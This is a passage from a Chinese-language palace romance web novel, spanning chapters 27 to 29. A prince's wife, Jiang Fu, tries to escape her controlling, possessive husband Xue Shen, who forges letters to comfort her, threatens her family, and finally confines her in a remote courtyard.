婉儿来接她,见她如此,担忧道:“王妃,怎么了?”
姜芙吃力说出一句话,“扶好我。”
婉儿急忙扶上,姜芙倚着她一步一步消失在夜色中。
她没看到,男人如墨的眸子里沁着火,捏着画卷的手青筋鼓起,许久后,沉声道:“派人守着西厢院,没有本王的命令,任何人不得外出,违令者杖毙。”
西厢院被围得水泄不通,一只苍蝇都飞不出去。
婉儿数次打探都被轰了回来,“王妃,奴婢还是出不去。”
这是姜芙一早预料到的,是以也没什么惊奇,“我饿了,去端些吃食来。”
姜芙两日没好好用膳,今日忽然想吃了。
婉儿闻言大喜,“奴婢这就去。”
须臾,桌子上摆满了姜芙爱吃的膳食,婉儿夹给她,“王妃可要多吃些。”
姜芙吃的很慢,比平日都慢,几口后便吃不下了,强行吃,只会让自己不适。
她放下筷子,“撤了吧。”
每样只吃了一口,和没吃差不多,婉儿道:“王妃还是再吃些吧。”
“吃不下,”姜芙道,“扶我去外面走走。”
婉儿找来氅衣给她披上,又拿来手炉,这才同姜芙一起去了院中。
景还是那样的景,可心情却大不同,姜芙听到了窸窸窣窣的声音,她问:“什么?”
婉儿:“是王爷命小九送来的兔子,王妃要看吗?”
姜芙点头。
婉儿命人把兔子拿来。
姜芙凝视着,或是感同身受,她把笼子打开,让兔子跑了出来,“随便它们去哪里,你们都不许拦。”
婉儿:“是。”
小兔子跑了一圈后再度回来,它们无处可去,只能回到这里。
姜芙想到了自己,她何尝不是笼中的兔子。
“表姐……”姜芙道,“江公子那边可有信笺送来?”
婉儿摇头,“没有。”
这天晚膳后,姜芙便收到了江宸的信笺,告知了近况,又宽慰了她几句,要她凡事看开,有朝一日终会得偿所愿。
每次看江宸的信笺,姜芙都倍感亲切,似是家人伴在身旁,她茶水都顾不得喝,连夜回信。
也是报喜不忧,只说了些有趣的事,和挂牵的话。
叮嘱江宸好生休养。
信笺还是放在后门的那个洞穴,婉儿亲自放的,也亲自看着来人把它拿走,婉儿这才安心折返。
后,隔三日便会收到一封江宸的信
笺,姜芙虽有疑虑,但心情不佳,故也没有多想,只当江宸就是有如此通天的本事。
不但人能来去自如,信笺也是如此。
不过此后的信笺甚少提及让姜芙离开,只是告知她,该如何缓解心情,让自己变得欢快。
他还在信中提到,凡事不可只看一面,或许暗藏着什么玄机。
姜芙追问何意?
江宸没给出答案,只道,总有一天你会明白。
姜芙一直筹谋着离开的事,便没再多加询问。
明面上看,她同从前一般无二,实则,她已经算计好了,只待寻个合适的机会同薛慎提和离。
做好了破釜沉舟的准备,心情也变得畅快了许多,看着守门的护卫,她也不恼了,每日都会命婉儿给他们送些吃食。
果子,糕点,什么都没有。
这些是婉儿同她一起做的,也是她们日后营生的门路之一。
她想先让他们尝尝看。
结果还不错,婉儿道:“王妃,他们都说好吃。”
姜芙把方子交给婉儿,“收好了,日后便按照上面的去做。”
婉儿伸手接过,“是。”
“对了,今日的信笺呢?”
“哦,在这。”婉儿从袖中取出,不经意说道,“王妃有没有觉得不妥?”
“嗯?”姜芙低头打开信笺,“什么意思?”
“表小姐,哦,不对,是江公子,”婉儿道,“之前虽也有信笺往来,但未曾这般频繁,好像是一个月才一封,最久那次三个月才一封。可这个月已送来八封。”
婉儿抿抿唇,“奴婢总觉得哪里不妥。”
八封?
竟然这么多?
姜芙从盒子里翻出信笺,一一数完,不是八封是九封,确实多了些。
“江公子是有本事,但如此密切的书信来往,王爷不可能不察觉。”婉儿问,“这里面不会有诈吧?”
经她一言,姜芙也察觉出不妥,她把信笺一一拿出,认真比对字迹。
分毫不差,是江宸的字。
长吁一口气,“是他的字,应该没问题。”
婉儿也觉得是自己大惊小怪了,“兴许是奴婢多想了,王爷近日一直被宫中的事扰着,没注意到咱们西厢院也是很有可能。”
“王妃放心,以后奴婢取信会更小心,绝不被人发现。”
姜芙还是不大放心,回信中坦言,近日不便通信,过段日子再联络。
那日后,她但凡有想说的话都会写在纸子上,算是纾解自己,写完没多久便会焚毁。
薛慎是处理完案子后出现的,来时带了姜芙爱吃的蜜饯,两人心照不宣地谁也没提及画像的事。
用膳食,也未曾交流半分。
姜芙吃姜芙的,他吃他的。
饭后,姜芙起身送客,“王爷慢走。”
薛慎这才说了第一句话,“王妃是在赶本王走吗?”
饶是这样想,但也不能这样讲,姜芙道:“妾身不敢。”
薛慎拍拍腿,“过来。”
姜芙未动。
薛慎道:“过来。”
她现下还是他的妻,不能违背他的话,抬脚缓慢走近,本想坐在他身侧,被他先一步扣住腰肢抱坐到了腿上。
她挣扎着要下来,引起他轻嘶声,“不想本王现在要你,就别乱动。”
姜芙停下。
薛慎抓过她手把玩,“还在生本王的气?”
是他主动提及的。
姜芙道:“妾身岂敢。”
“好好说话。”薛慎抓起她的手轻咬了下。
姜芙皮肤细腻,被他一咬,手指通红一片,她缩了下,“痛。”
“痛吗?”薛慎抬高下颌看她,“本王看你一点都不痛。”
惩罚似地又咬了一口,直接把姜芙咬红了眸,她低着头不语。
薛慎偏要她开口,“说你错了。”
姜芙自觉没错,贝齿咬唇,就是不言。
薛慎有的是办法要她妥协,拦腰抱起她,扔到了床榻上,随即也压了上去。
攫住她下颌,“你错没错?”
“妾身不知错在哪里?”
“忤逆便是错。”
“妾身没有。”
“没有?”薛慎在她唇上咬了下,退开,“姜芙,是不是本王对你太好了,让你得意忘形。”
“若是那般,本王告诉你,别痴心妄想,你在本王这里,还没那么重要。”
这话说的连他自己都不信,去他的不重要。
薛慎再也耐不住,一把扯开她的衣裙,把她禁锢在怀里,啃噬她侧颈。
“你只能是本王的,谁都别想觊觎。”
“江宸不行,其他人更不行。”
“你若是敢不听话,本王不介意让整个姜家陪葬。”
“所以,姜芙你听好了,和离,想都别想。”
姜芙红着眸子看他,“若我就是想呢?”
“那你姜家从今日起便别想好过,你父兄你家族众人,本王一个都不会放过。”
“你也不要动死的念头,你前脚死,后脚他们便会统统去陪葬。”
“不信的话,你可以试试。”
“看我敢不敢。”
薛慎没有不敢的,当年他是从厮杀中回来的,今日又岂会不敢。
姜芙战栗道:“薛慎,你这个疯子。”
薛慎轻抚她脸颊,“对,我就是疯子,你且记住,千万别做惹怒疯子的事。”
“后果不是你能承担的。”
这夜,姜芙哭到了天明,睡去时人还在抽搐,薛慎去碰她,她缩到了被子下,背对着,肩上都是咬痕。
薛慎抬起的手缓缓落下,收回。
站起身,对屋子里的丫鬟们说道:“照顾好你们的主子,出了任何差错,你们都别想活。”
众人伏地,颤颤巍巍道:“是。”
薛慎离开西厢院后直接去了书房。
小九拿着信笺进来,“主子。”
薛慎看都没看,“扔了。”
小九:“啊?”
“我让你扔了。”
“哦。”
小九转身要去扔,被薛慎叫住,“等等,拿过来。”
小九抿抿唇,再度转身走上前,放在案几上,“主子每次同王妃生气,最后气到的还是自己,何必呢。”
薛慎看他,他又道:“明明就很在意王妃,干嘛要装出不在意的样子?”
“交代你做的事都做完了?”薛慎打断道。
“还没。”
“快去做,做不完今日便去守城。”
小九闻言哪敢耽搁,匆匆离去。
薛慎看着信笺蹙起眉,拿起要撕掉,又停住,随后慢慢取出。
清秀的字迹映入眼前,只是开场白让他着实不爽。
之前还是江公子,这次是表哥。
表哥……
如此亲昵的称呼,委实让薛慎不爽。
他眼眸眯起,一把掐断了水仙叶子,用力一挥,案几上的书本散落一地,门外婢女听闻声音快步走入,跪在地上去捡,被他呵斥住。
“出去”
婢女躬身退出。
薛慎凝视半晌,从案几后缓缓走出,最先捡起的不是那些书本,而是散落了一地的信笺。
风吹起信笺,映出上面的字迹,还有落款。
阿芙。
第二十七章 戏耍他后悔了
宫中皇子夭折,为了这事薛慎忙活了大半月,又因军饷案去了江北一趟,在那里未曾寻到什么有价值的线索,还受了伤。
大夫要他静心休养,他因惦记着府中事宜,未曾停留,次日折返。
这便是他一个月来所做之事,回到堰都后见姜芙那般不快,他亲自上山抓兔子哄她,还苦学江宸的笔迹给她写信。
三日一封,小九笑他为他人做嫁衣。
可若她开心,这个嫁衣做了也罢。
一句“表哥”还是让他破防了,他掏心掏肺对她,抵不过信中寥寥数语的慰藉。
她对他何曾如此亲厚过。
她看他,如同在看豺狼。
薛慎越想越气,泛红的双眸好似要滴出血,胸
口处像是被什么堵着,气息挡在那里,出不来也进不去。
修长分明的手指不可抑制的颤抖起来,方才还完好的信笺眨眼间碎成片,顺着流淌进来的风四散开。
他手指用力抠着,掌心里映出深深的掐痕,直到溢出血也未曾停。
她说他是疯子,对,他就是疯子,若不疯,他为何会如此在意她。
明明她不配。
忽的,外面传来惊雷声,扰了薛慎的思绪,也压下了那纷涌而至的怒火。
看着一地的碎屑,他如梦初醒,跪在地上一一捡起。
小八推门进来,二话不说,扔下手中的剑,跪地也去捡,被薛慎呵斥住,“别动。”
小八停住。
“出去。”薛慎道。
小八抿抿唇,捡起放在地上的剑,低着头退了出去。
他静静守在门外,看着薛慎像个傻子般一点一点捡起碎纸片,又伏在案几前一点点黏连。
手指不知何时划伤了,他顾不得擦拭,就那样循环着做的同一件事。
烛灯换了三次,从天黑到天明,又从天明到天黑,一日一夜,他未曾阖眼,也未曾进食。
小九办完事回来,见状要闯进去,被小八拦住,“不可。”
“为何不可?”小九道,“你别忘了,主子身上还有伤呢,再这么熬下去,会撑不住,你让开,我要进去。”
“你想挨罚那你就进去。”小八收手让开,“不过你想好了,让你守城月余,你是否吃的消。”
小九想了想,又退回,低声道:“那我还是等等吧。”
他站在小八身侧,望着里面的身影,撇撇嘴,“真搞不懂主子到底是何意,在王妃面前一句软化都不讲,暗地里却把能做到不能做的都做了。”
“就那兔子,你知道抓起来多费劲吗,主子追着它跑了许久呢。”
“一点都不顾及身上的伤。”
“主子的事你少管。”小八抱剑道,“有这闲工夫不如去看看汤药煎好了没,若是好了,命人端来给主子喝。”
“去就去。”小九走了两步又折回来,“那个灭门案……”
小八捂住小九的嘴,“嫌命长了吗,主子不是说过不许提。”
小九扒下他的手,“我不提就不存在了吗,那可是六百七十口……”
“咯吱”一声,紧闭的房门打开,薛慎缓步走出,“备水,我要沐浴。”
随后对小九说道:“自己去领罚。”
小八有意说情,被薛慎眼神逼退,“谁再敢提起当年的事,决不轻饶。”
小八小九作揖,“是。”
……
睿王府没有秘密,不多时,薛慎受伤的事传到了宋氏耳中,宋氏听闻差点昏厥,命人请来大夫为薛慎诊治。
“王爷伤在腰腹,刀口很深,幸亏医治及时,不然不堪设想。”
宋氏闻言眼泪啪嗒啪嗒掉落下,“大夫,这该如何是好?”
“按时服用汤药,切勿动怒,休养月余便能好。”大夫道。
宋氏示意刘妈送大夫出门,没了外人在,问薛慎:“何人伤的你?”
“朝中的事不便细说,母亲放心,我已无碍。”薛慎避重就轻道,“再过几日便可康复。”
“这次是刀伤,那下次呢?”宋氏忧心道,“你若不想我担忧,日后便不要去碰那些危险的事。”
薛慎:“是。”
“对了,姜芙呢?你伤的如此重,她不会不知吧?”宋氏提起姜芙便一脸怒容,“怎么?她真不知?”
“她是如何做人妻子的?”
薛慎道:“是孩儿未同她言明,不关她的事。”
“她这般不在意你,你为何偏偏对她上心,”宋氏蹙眉,“诸多贵女哪个不比她强。”
“这样的话母亲请母亲不要再讲。”薛慎微愠,“我的妻子只有姜芙,也只能是她,旁的都不行。”
这话当年说亲时薛慎便讲过一次,那时堰都的媒婆几乎要踏平王府门槛,贵女们争先恐后要嫁进来,她也满怀欣喜等着,岂料等来的是他的固执。
他道,成亲可以,但那人只能是姜芙。
她劝了又劝依然没劝动,最后只能妥协。
现下想来,真真后悔,商贾之女哪里配的上她的慎儿。
“阿慎,姜芙一直未曾有孕,你——”
“是孩儿不想要,请母亲休要提及其他。”薛慎道,“儿还是那句,除了姜芙,谁都不行。”
两人再次为姜芙发生争执,宋氏气的头痛病发作,扶着额头道:“出去,你给我出去。”
“母亲好生歇息,儿告退。”薛慎起身离开。
刘妈见状上前规劝,“您莫气,王爷总有一日能想通。”
宋氏轻哼,“他已经被姜芙迷了心智,想通,谈何容易。”
“明日王爷要同陛下去福华寺祈福,正巧他不在,您若想做什么,老奴去办。”
宋氏缓缓抬起头,一字一顿道:“那便等慎儿离开后把姜芙带去祠堂。”
刘妈:“是。”-
姜芙睁是被谈话声吵醒的。
“主子到底是何意呀,干嘛把王妃带出来。”是小九的声音。
“上次的打还没挨够是不是,多嘴。”是小八。
“我就是问问,怎么还不能问吗。“小九不满道。
“能啊,你去问王爷,然后让王爷派人把你送去边关,”小八怼他,“继时看你还能不能活着回来。”
他们声音没太压制,姜芙听得一清二楚,她缓缓掀开眸,望着上方的车顶发呆。
须臾,她回过神。
车顶??!!!
她坐起身,这才发现自己在马车上,低唤道:“婉儿,婉儿。”
“奴婢在。”婉儿掀帘进来,“王妃您醒了?”
“咱们这是去哪?”姜芙问道。
“陪同陛下去福华寺祈福。”婉儿回。
“福华寺?”姜芙诧异,“咱们为何会去?”
“王妃一点都不记得吗?”
姜芙摇头。
“是王爷抱您上的马车。”婉儿给姜芙拿来氅衣披上,“是王妃要去的。”
“我?”电光石闪间姜芙想起了什么。
昨日她同薛慎饮酒,不知不觉多饮了几杯,酒意上来,她说话也没了顾忌,想到什么说什么。
指摘他从未顾及过她的感受。
说话做事全凭自己喜怒。
她还怒斥他,狼心狗肺,当年她数次救他,他可曾说过会报答,可最后呢,把她娶进门。
除了闺房之事外,大多时候都是晾着她,不管不顾,任她自生自灭。
她手指戳着他胸口,质问:“这难道就是你说的会好好我的报答救命之恩?”
“薛慎,你真虚伪。”
后面是些零散的片段。
他把她桎梏在怀里,捏住她的下颌,问:“那你想我怎么报答?”
“我要出府,你不能禁我的足,”姜芙站都站不稳,只能依偎在他怀里,“我要离开。”
薛慎没想之前那般愠怒,顺着她话道:“好,那本王便带你离开。”
姜芙思绪回笼,抿抿唇,“真是我执意要来的?”
婉儿点点头,轻嗯一声。
“……”
“我还做了什么?”姜芙期翼着没有太过分的事。
婉儿抿抿唇,“王妃还是不要知晓的好。”
看来她真是做了,“你但说无妨。”总要知道的。
婉儿倒好茶水递上,姜芙未接,“你先说。”
婉儿放下茶盏,一字一顿道:“王妃故意碰触王爷腰腹的伤口,还踹了一脚。”
“我?”姜芙诧异道,“踹了他?”
婉儿点头,“是。”
“为何不拦我?”
“根本拦不住。”
“还有呢?”
姜芙抬手扶额,凝视着婉儿,“你快说。”
“王妃把送给王爷的香囊夺了过来,顺手扔进了院中池子里,王爷在水里泡了多半宿才寻到。
“这会儿他还发着热呢。”
“……”姜芙从不认为这是自己会做的事,“真是我做的?”
婉儿:“是。”
“薛慎呢?他没做什么?”若是搁往常,薛慎早怒了,不扒她层皮,他才不会停。
“起初王爷是怒的,可是看到王妃在哭后,王爷便不生气了。”
婉儿回忆着昨夜的事,“王爷哄了王妃许久,还把王妃抱回了房间,奴婢去伺候,王爷不允,是他亲自伺候王妃就寝的,便是这醒酒汤也是王爷命奴婢提前熬的。”
“王妃,王爷有些奇怪。”
像是压抑许久后,再也无法克制的样子。
当然,婉儿也不太确定自己看到的对不对,总之,王爷同以前的王爷不太一样。
以前的王爷总喜欢强迫王妃做些什么,而且从不解释,要么冷着,要么发疯。
可王爷这次归来,似乎变了一个人,看王妃的眼神温柔了很多,说话虽还是那般刻薄,但看得出,他已经在极力克制了。
他奇不奇怪姜芙暂且不想深思,但昨夜的她倒是真的奇怪。
不就是饮了几杯酒么,怎会如此放肆呢。
“薛慎在哪?”她问。
“王爷在前面陪着陛下议事,刚刚传话,晚点回来,若是王妃饿了,可先行用膳。”说话的是小八,许是常年待在薛慎身侧,倒有几分神似。
姜芙这才想起,外面还有旁人在,淡声道:“好。”
婉儿端来醒酒汤,“王妃赶快喝下,这样头便不会痛了。”
姜芙揉了揉太阳穴,确实痛得厉害,没再说什么,接过汤药一饮而尽。
喝了醒酒汤,肚子便没那么饿了,她道:“我再睡会儿,晚些再用膳。”
再睡只是幌子,她是在思量离开的方法,不知可不可以趁这次机会离开。
想了想,似乎不行,天子祈福,哪里容的她乱来。
再者,银钱和通关的文牒都未曾待在身上,便是离开怕是也会饿死。
还是得乖乖回去,正儿八经和离后方能离开。
姜芙这一想,便又睡了过去,梦中是刚成亲那会儿,他们难得的相处欢愉的时光。
他叫她芙儿,日日为她画眉,还捧着她脸表爱意,说他这被子只有她一个妻子。
那时她太过天真,竟然信了他的话,每日做着同他琴瑟和鸣的梦。
为讨他欢喜,她还学了厨艺,要知道,成亲前,她是半点吃食都不会做的。
那段日子,她手上伤口不断,夜里痛得厉害,她便咬着唇让自己不出声,怕的是扰了他歇息。
有一次还是被他知晓了,他把她抱在怀里,轻吻她伤口,还说,怎么这般不小心,是要痛死我么。
那时的他最常说的是,我的芙儿,不能有半分伤痕。
那是她听过最好听的话,只可惜,才两月不到,他便变了样,他们之间再无温情。
至于她伤不伤,他也不会在意。
……
姜芙再次醒来时,人躺在床榻上,外面天色已黑,她依稀听到了纸张翻阅的声音,掀眸去看,只见薛慎着一身天蓝色锦袍,正在案几前看什么。
许是感觉到有人在看他,缓缓抬眸,“醒了?”
姜芙嗯了一声,扶着锦被坐起,侧眸打量,“这是哪里?”
薛慎:“福华寺厢房。”
姜芙掀开被子要下来,低头去找,没找到自己的绣鞋,踌躇时,薛慎走过来,弯腰抱起她。
“你鞋子脏了,婉儿拿去清洗,今夜你去哪里,告知我,我抱你去。”
他抱她?
他的意思是,今夜他都抱着她,那是不是她去茅房他也要抱?
姜芙止住猜想,温声道:“包裹里还有备用的,王爷可命婉儿拿来。”
“包裹不知遗落在哪里。”薛慎道,“找过了,没寻到。”
显然姜芙不信,长睫轻颤,“包裹里没有,福华寺里或许有,让婉儿去借下。”
“不合脚,”薛慎把她放到椅子上,倒好茶水,递到她唇边,示意她张开。
姜芙想自己喝,被他制止,只能张开嘴含住。
喝得太急,一阵咳。
薛慎抬手为她拍背,“没人跟你抢,急什么。”
他语气平平听不出喜怒,姜芙却觉得他今日甚是奇怪,强行把她带来,还不许她穿鞋子,他到底意欲何为?
看她无措好玩吗?
也对,他最喜看她出糗。
越慌乱他越开心。
可这不是睿王府,是福华寺,姜芙也不想压着,心里想什么便说什么。
“王爷戏耍妾身好玩吗?”
“你觉得我在戏耍你?”薛慎袖子下的手指慢慢攥紧,不期然想起一句话,狗咬吕洞宾不识好人心。
他在对她好,她难道不知么?
第二十八章 挽留我会离开
姜芙生气的模样是娇俏惹人怜的,贝齿轻咬着粉嫩的唇瓣,眼尾溢出淡淡的红。
杏眸里浮着氤氲的光,抬眸看过来时隐隐轻颤。
不知是刚睡醒的缘故,还是被他闹的,脸颊上染了一团绯红色,像是廊下盛开的娇艳之花。
薛慎看得有几许入迷,下一瞬把她扯怀里,另一手攫住她的下颌迫使她抬起头,逼近。
“芙儿这般不听话,你说该怎么惩罚好呢?”
他又成了那副阴戾的样子,看她的眼神恨不得把她撕碎。
姜芙后背溢出细密的汗,为自己方才的胆大而为心悸,她怎么敢公然忤逆他。
“这里是福华寺,王爷别乱来。”她扭着腰肢想让他松手,反而被他抱得越发紧了。
他用力蹂躏,恨不得把她揉进骨血里,这般不听话确实应该罚。
薛慎思索起罚什么好。
姜芙不知他心中所想,挣扎不开,只得放弃,眼角的湿意终是挂不住流淌下来,薄唇轻颤,声音细碎,“王爷…疼。”
他手指触着她侧腰,那里传来一片灼痛感,若不是实在受不住,姜芙不会讲出来。
薛慎垂眸去看,随即松开手,“晚膳在房间用,晚点我会命人端来。无事不得外出。”
无论是王府还是福华寺,她永远是被禁锢的那个。
“听闻福华寺祈福最是灵验,妾身不能去拜拜吗?”姜芙之所以安心住下来也是有原因的。
福华寺后门有条偏僻的路,直通乡舍,将来离开若是大陆走不通,也可行小路。
或许,她也可以在福华寺住上些日子,等一切尘埃落定后再走。
“不行。”薛慎道,“陛下在此,你若惊扰了圣驾别说你,便是整个睿王府都会跟着遭殃。”
“你好生歇着,哪里都不要去,等祈福结束后,想去哪里本王会陪着。”
可她不想同他一起,姜芙言不由衷,道:“妾身知晓了。”
心情不佳,晚膳没吃几口,倚着软榻看书时,房门人推开,薛慎裹着寒意进来,手里捧着用油纸包裹的果子。
姜芙闻着味道抬起头,见是她平日最喜欢吃的果子,露出浅笑,“福华寺也有这个?”
福华寺当然不可能有这个,这是薛慎命小八回城买的,但他并未提及,淡声道:“过来吃。”
见姜芙未曾起身,又道:“怎么?还想本王去抱你不成?”
姜芙只是慢了下,并未想要他抱,穿好鞋子过来,柔声道:“妾身并未如是想。”
“未如何想?”薛慎挑起她下颌,“既然没想,那你脸红什么?”
姜芙:“……”
姜芙不承认是被他看的,只说是热的。
薛慎未拆穿她,顺手把油纸打开,拿出果子给她吃,“张嘴。”
姜芙没动。
薛慎:“张嘴。”
姜芙慢慢张开嘴,咬下时他故意把手指探了过来,她未曾留意,齿尖落在了他手指上。
一触即离,姜芙瞪大眼睛看他,“王爷这是作何?”
薛慎捏住她下巴,“吃果子。”
言罢,他偏头堵上了她的唇,他所谓的吃果子,是吃她口中的那点。
他勾缠住她的舌尖,不许她后退半分,直到软下来,他才退开,修长分明的手指沿着她细长的脖颈游走,声音轻喘,“芙儿,别离开本王。 ”
一句“离开”让姜芙意识回笼,她猛力推开他,从他怀中推出,低声提醒,“这里可是福华寺,请王爷自重。”
暧昧顷刻间荡然无存,薛慎攫住她的手腕,“若本王不自重呢?”
他攥的好紧,姜芙脸上血色尽失,粉嫩的唇瓣也透着几许白,“四周都是禁军,王爷不怕陛下责罚吗?”
连陛下都搬了出来,看来是真的不想他碰触,薛慎胸口燃起一团火,一把扯怀里,“就这么不喜本王碰你?”
“那若不是本王,是江宸呢?你是不是便会允了?”
姜芙不知这同江宸有何干系,“王爷莫要乱讲,污妾身名声,妾身同江公子没有丝毫关系,从前没有以后也不会有。”
若是没看那些信笺,他也以为他们清白无暇,可他看了,也知晓了江宸的心思。
她有没有先不乱,江宸肯定有。
“你真当本王傻么?”薛慎醋意横生,“姜芙,本王是不会放手的。”
薛慎在朝中也有三两至交,平日里除了探及朝事也会说些府中事宜,这次便是他们出主意要他带姜芙出来游玩。
好递进夫妻感情。
他们也曾说,女人最是心软,只要对她好,她便会死心塌地。
薛慎知晓自己之前做的不够好,是以这才变着法子哄她开心,可事与愿违,她一点都不领情,言谈间皆是斥责,现下连碰触都不愿了。
他不知,她竟是这般厌恶他。
可即便如此,他依然不想放手,便是绑,他也要把她绑在身边。
“这些果子是专程给你买的,你若想吃便吃,不吃扔了也可,随你的意,但是阿芙,本王还是那句,你哪里也去不得。”
薛慎未免再度发生争吵,说完,转身走出厢房。
门关上,姜芙挺直的背脊松散下来,眼底的湿意越发重了,半晌后眼泪滴落到油纸上。
随即渲开,什么都没有。
心情不佳,也没进食的欲望,她道:“婉儿,把果子分下去,你们吃吧。”
婉儿:“王妃,这可是王爷买来的,奴婢们怎么敢。”
“连你也不听我的话了吗?”姜芙道。
“奴婢不敢。”婉儿拿起果子走出去,随后分了下去。
小九见状嘴角抽了抽,心道:王妃还真是铁石心肠。
薛慎去了方丈屋中,同他闲话了一个时辰,出来后又驾马下了山,寻到一处酒馆,自己独饮起来。
他酒量不错,几壶酒下肚,依然没有醉意。
醉意没多少,胸口的郁结却多了,像是被什么压着,呼吸不畅,酸痛并存。
薛慎想驱走,但不能,好似生在了血肉里,哪怕是剥皮抽筋也没用办法。
正当他猛灌酒时,有信鸽落在肩头,他抓住,取下绑在信鸽脚上的纸条,展开。
有字迹映入眼帘。
——寻到了,玉佩在江家,那件事同江家有关。
这句话不足以让薛慎发狂,后一句才是。
——也同王妃有关。
薛慎盯着瞧了好半晌,轻抿的唇角缓缓扬起,低语,“老天,你又来作弄我了。”
他喝得酩酊大醉,整夜需人照顾,小八只得把他送去姜芙的厢房。
姜芙眉梢皱起,“为何不带王爷回自己的厢房?”
“外面都是禁军,王爷这个样子被瞧见,陛下若知晓定会发怒。”小八道,“有劳王妃了。”
见他要走,姜芙道:“等等,我不能。”
小八未言,转身把门关上。
薛慎挣扎着从床榻上坐起,眯眼看向姜芙,唇角淡扯,扑了过去,二话不说张嘴咬上她侧颈。
姜芙受痛,没忍住,一把推开他。
薛慎踉跄两步后,跌倒在地上,随即又爬起,再度扑上来,一把抱住姜芙,脸埋入她颈窝,口吐醉话。
“姜芙你好狠的心。”
“你怎能如此对我?”
“那只玉佩有多重要你不是不知,你怎能怎能给了旁人……”
“姜芙,本王真想杀了你。”
声音突然低下来:
“可是怎么办?”
“我做不到。”
“姜芙,本王痛,好痛。”
姜芙不知他发哪门子酒疯,把他扶到榻上,转身欲走,又被他拉住,直直扑到了他身上。
“不准走,本王不准你走。”
“你若赶走,本王会灭了姜家。”
姜芙被他勒得说不出话,脸颊泛红,“松开,你松开。”
“本王不松。”薛慎咬上她肩膀,齿尖用力磨砺,“死也不松。”
半晌后,姜芙撑不住了,带着哭音求他,“薛慎,我好疼,你松开。”
薛慎退开,捧起她的脸,见她眼角都是泪,凑近,一一吻去。
“阿芙乖,慎哥哥来了。”他轻柔吻着,直到把眼泪都舔舐干净才停住,鼻尖抵上她鼻尖,继续说醉话,“你恨我吗?”
“我知晓你定是恨得。”
“无妨,我也恨你。”可也爱慕你。
“你看我们多般配。”薛慎咬上了姜芙的唇瓣,溢出血后才退开,舌尖舔着上面的血渍,像是吸血鬼一样吞噬着她,“我们这样的人就注定要在一起,至死不渝。”
姜芙被他闹得头晕眼花,痛楚难耐,根本没心思听他讲什么至死不渝。
她只想离开他,尽快离开。
她甚至动了眼下便逃走的念想,挣扎着从他怀里退出来,环视一圈,找来瓷器,随后对着他头砸去。
这是她第一次伤人,手都是抖得。
把人打晕后,她悄悄打开门走了出去,寻到婉儿,拉着她去了后院马厩处。
事出突然,两人都没什么准备,婉儿问道:“王妃咱们这样能行吗?”
“不行也得行。”姜芙悄悄解开缰绳,她唯一庆幸的是,少时曾跟着兄长学会了骑马。
婉儿左右打量,见有人来,提醒,“王妃有人。”
两人随即躲起,但巡逻的人离开后,又出来,牵上马悄悄朝外走,几步远的路,好似走了许久。
终于出了后门。
姜芙踩着脚蹬上了马,随即伸出手,对婉儿说道:“上来。”
婉儿把手递上,费力上了马背,夜里山路难行,走了一个时辰才到了山下。
谁知,下方早有一行人等着她们。
鬼魅般的声音在四周散开。
“王妃这是要去哪?”
姜芙挑眉去看,人群中最前方的那道颀长身影赫然是方才被她砸晕的薛慎。
此时的他,下颌紧绷,脸色暗沉,一副要吃掉他的模样。
人在本能下先想到的都会是逃跑,姜芙见状拉着缰绳欲逃,被薛慎追了上来。
眨眼间,她掉进了薛慎的怀里。
风声呼啸而过,姜芙吓得脸色苍白,语无伦次道:“你要作何?”
“不是想跑吗,好,本王陪你跑。”薛慎挥舞着鞭子,“驾。”
马儿疾驰而出。
未免掉下去姜芙只得用力抓紧薛慎的手臂,这一抓便抓了一路。
前方有溪水,银白月光铺陈在水面上,映出淡淡涟漪,像是一幅绝美的画卷。
而执笔人便是岸边的人。
姜芙还来不得深思便被薛慎扔进来水里,她善骑马,但不习水性,落水那刹,双手胡乱挣扎。
“救我…薛慎…救我…”
薛慎端坐在马背上,冷眼看着这一切,“你不是想逃吗?好,本王就让你逃。”
“姜芙只要你今夜能活下来,本王就放你走。”
姜芙最怕的便是水,她怎么可能在水中活下来,继续挣扎,“慎哥哥…救芙儿…”
她好似坠入了梦境中,也是这般森冷,四周没有光,她无助呐喊,等来的不是救她的人,而是豺狼。
它们虎视眈眈盯着她,发出咆哮声。
“芙儿不识水性,救我。”
快昏厥时姜芙被薛慎从水中捞起,他桎梏着她腰肢索取承诺。
“说你这辈子都不会离开我。”
姜芙慢掀开眸,吃力道:
“我会离开。”
第二十九章 囚禁死遁
这是姜芙被关在绿竹园的第五日,那夜薛慎把她从水中捞起,他们没再回福华寺,而是直接回了王府。
越过西厢院到了这处最僻静的绿竹园,早年这里是睿老王爷独居的住所,睿老王爷仙逝
后,这处便空了下来。
隔两日下人便会进园打扫一番,房间内陈设看上去依然如新。
刚被关进来的前两日,姜芙还会时不时呼唤两声,后三日她便放弃了,这里除了薛慎外,旁人不得进入,叫也没用。
丫鬟再次按时送膳,她问道:“王爷呢?在哪,我要见他。”
“奴婢不知。”来人把膳食放下,未敢再多言一句,匆匆离去。
姜芙知晓小八小九藏在暗处,大声道:“从今日起,若是你们主子不来见我,我便不再进食。”
当晚,薛慎着一袭红色锦袍现身,面色上已经没了那夜的凛然,沁着几分淡雅感。
他缓步上前,示意身后的婢女把膳食放下,随后道:“都出去。”
婢女们躬身退出。
“你应该饿了,过来用膳。”薛慎握住姜芙的手,牵着她走到桌前,按着她肩膀,要她坐下。
接着他坐在了对面的位置。
薛慎执起筷子,给她夹了下鸭肉,“庆丰楼的醉仙鸭,你最欢的,尝尝看如何?”
鸭肉香醇软糯,味道极好,若往常,姜芙定会多食几口,今夜心情不佳,吃了一口后便放下。
“王爷几时放我回西厢院?”她问道。
“在这里不好吗?”薛慎看了眼窗外的青竹,“你不是最喜竹子吗?”
她何时喜欢竹子了?
看来,他真的从未把她放在心上,不然为何连她的喜好都不知晓。
“王爷怕是记错了。”姜芙睨着他,“妾身从来不喜青竹,想必喜的另有其人。”
“哦,或许是画中那人喜欢。”她忍了几日,终于耐不住再次提及,“妾身很好奇,那位女子是谁?”
薛慎慢转头看过来,眼眸里噙着淡淡的笑意,只是笑意未达眼底深处,“不关你的事。”
“是王爷爱慕的人吗?”
“本王说了不关你的事。”薛慎厉色道。
“王爷娶我也只是因我同那女子长得相像是不是?”这五日里姜芙想了很多,与其自欺欺人的活着,不如弄个明白,替身也罢,不喜也罢,得出了个结论,她便可以放下一切离开。
“王爷若是不答,妾身便当王爷承认了。”姜芙藏在袖中的手指止不住颤抖起来,她用尽全力才克制住,让自己看着同平常一般无二,声音还是那般淡定不迫,“王爷既然有心爱的女子,那我便没留下的必要,请王爷写下和离书放我离去。”
四周突然静下来。
四目相对,薛慎眼底翻滚着旋涡,“你说什么?”
